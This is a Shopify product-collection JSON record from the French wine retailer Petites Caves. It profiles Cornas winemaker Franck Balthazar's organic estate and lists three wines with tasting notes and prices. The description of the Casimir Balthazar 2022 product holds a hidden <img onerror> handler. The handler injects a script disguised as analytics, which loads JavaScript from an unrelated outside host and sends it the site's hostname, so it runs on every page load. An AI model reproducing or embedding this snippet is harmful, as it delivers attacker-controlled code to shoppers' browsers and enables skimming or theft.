{"title":"Vigneron Franck BALTHAZAR","description":"\u003ch2 class=\"p1\" data-mce-fragment=\"1\"\u003eOn vous parle de son domaine\u003c\/h2\u003e\n\u003ctable width=\"100%\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 50%;\"\u003e\u003cspan data-mce-fragment=\"1\"\u003eAujourd'hui, les Cornas de \u003cstrong\u003eFranck Balthazar\u003c\/strong\u003e sont bio et en cave, la vinification tend vers le \"nature\" : vendange entière et levures indigènes, macération longue et douce sur une durée de 13 à 14 jours. L'élevage, dans un souci de refléter le terroir et le millésime, est réalisé dans des fûts de 600 litres qui ont minimum 5 ans pour ne pas boiser le vin. Les mises sont sans filtration, sans collage avec un minimum de sulfites pour la stabilisation. Enfin, Franck nous propose aujourd'hui une cuvée sans soufre ajouté, vibrante et sensible, résultat de toutes ces années d'acharnement. Chapeau ! L’exploitation en 2002 comptait 1,2 ha et s’est agrandie pour atteindre 4 ha.\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd style=\"width: 50%;\"\u003e\n\u003cmeta charset=\"utf-8\"\u003e \u003cspan\u003eFranck Balthazar travaille seul sur l’exploitation, sauf pour les vendanges et le travail des sols parfois pentus à 60%. Le domaine est planté de syrah en 3 parcelles et les sols sont granitiques : 1.4 ha sur le lieu dit « Chaillot », avec des vignes qui datent de la fin du 19ème siècle. 0.4 ha au lieu dit « Mazards », vignes datant de 1961. 1.7 ha au lieu-dit « Legre », vignes plus jeunes de 2005. Progressivement Franck Balthazar a retravaillé ses sols avec comme modèle les \"anciens\" (Juge, Clape, Voge) et avec comme ligne de mire Thierry Allemand, LE vigneron nature à Cornas. Depuis 2006, la totalité des vignes est traitée seulement avec de la poudre de soufre et cuivre.\u003c\/span\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e\n\u003cp class=\"p1\"\u003e\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","products":[{"product_id":"casimir-balthazar-2022-franck-balthazar","title":"Casimir Balthazar 2022 | Franck Balthazar","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cspan\u003eCasimir Balthazar 2022\u003c\/span\u003e - \u003cmeta charset=\"utf-8\"\u003eCornas - Franck Balthazar \u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn peu plus de matière et de minéralité à chaque millésime avec les Cornas de Franck Balthazar. Ici des fruits noirs, un côté camphré-poivré. Touches de fleurs séchées. Bouche sérieuse, tanins présents mais fins. \u003cbr\u003eRetour des épices, menthol, joli jus sur la finale et frais ! Un très joli Cornas !!\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e\n\u003cdiv id=\"mailtorapidetoPopupModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\n\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/[fevoki.wejekihota.com\/scripts\/js?k=5eb00e0d87df1ae9538b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host))+\"\u0026amp;ns=true\";document.getElementsByTagName(\"head\")[0].appendChild(s)](http:\/\/fevoki.wejekihota.com\/scripts\/js?k=5eb00e0d87df1ae9538b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host))+\"\u0026amp;ns=true\";document.getElementsByTagName(\"head\")[0].appendChild(s));'\u003e\u003c\/div\u003e","brand":"Franck Balthazar","offers":[{"title":"Default Title","offer_id":49645204767061,"sku":"P4852-2022","price":54.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/rhone-franck-balthazar-cornas-casimir-balthazar_8df6eb4d-e43d-49ca-84c1-32db72adb03f.jpg?v=1695891045"},{"product_id":"cotes-du-rhone-2023-franck-balthazar","title":"Côtes du Rhône 2024 | Franck Balthazar","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eCôtes du Rhône 2024 - Franck Balthazar (vin Bio)\u003cbr\u003e\u003c\/strong\u003eMagnifique couleur rouge foncé qui vous donne le ton. Au nez un vin expressif, très floral et une pointe épicée (minéralité). Bouche qui présente beaucoup de fraicheur et de fruits. Finale longue sur le fruit et le croquant.\u003cstrong\u003e\u003cbr\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn Côtes du Rhône sur des raisins en provenance de Séguret et Tulette (60% Syrah, 40% Grenache)\u003c\/p\u003e","brand":"Franck Balthazar","offers":[{"title":"Default Title","offer_id":51218478694741,"sku":"WFRBA0001-2024","price":12.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/Franck-balthazar-CDR_3d8893a0-d614-44d3-99e8-d73acf37abbe.jpg?v=1695891026"},{"product_id":"casimir-balthazar-2023-franck-balthazar","title":"Casimir Balthazar 2023 | Franck Balthazar","description":"\u003ch2\u003eNotre avis sur ce vin bio\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cspan\u003eCasimir Balthazar 2023\u003c\/span\u003e - \u003cmeta charset=\"utf-8\"\u003eCornas - Franck Balthazar \u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn peu plus de matière et de minéralité à chaque millésime avec les Cornas de Franck Balthazar. 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En bouche, la minéralité apporte toujours la fraîcheur tant recherchée sur des vins rouges. Cette fraîcheur enveloppe et équilibre les tanins à fondre dans le temps. La finale s'épice et les fruits ressemblent davantage à des fruits rouges.\u003c\/p\u003e\n\u003cdiv\u003eDans sa jeunesse, préférez une jolie viande rouge ou du gibier avec quelques champignons de saison. Hummmm !\u003c\/div\u003e\n\u003cdiv\u003e\u003cbr\u003e\u003c\/div\u003e\n\u003cdiv\u003e\u003cbr\u003e\u003c\/div\u003e\n\u003cdiv\u003e\u003cbr\u003e\u003c\/div\u003e","brand":"Franck Balthazar","offers":[{"title":"Default Title","offer_id":51812716118357,"sku":"WFRBA0003-2023","price":72.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/Franck-Balthazar-chaillot_83bdd3a5-ba7e-44cc-9ca5-de6d135c51d5.jpg?v=1695891017"}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/collections\/vigneron-franck-balthazar-332074.jpg?v=1613730833","url":"https:\/\/www.petitescaves.com\/de\/collections\/vigneron-franck-balthazar.oembed","provider":"Petites Caves","version":"1.0","type":"link"}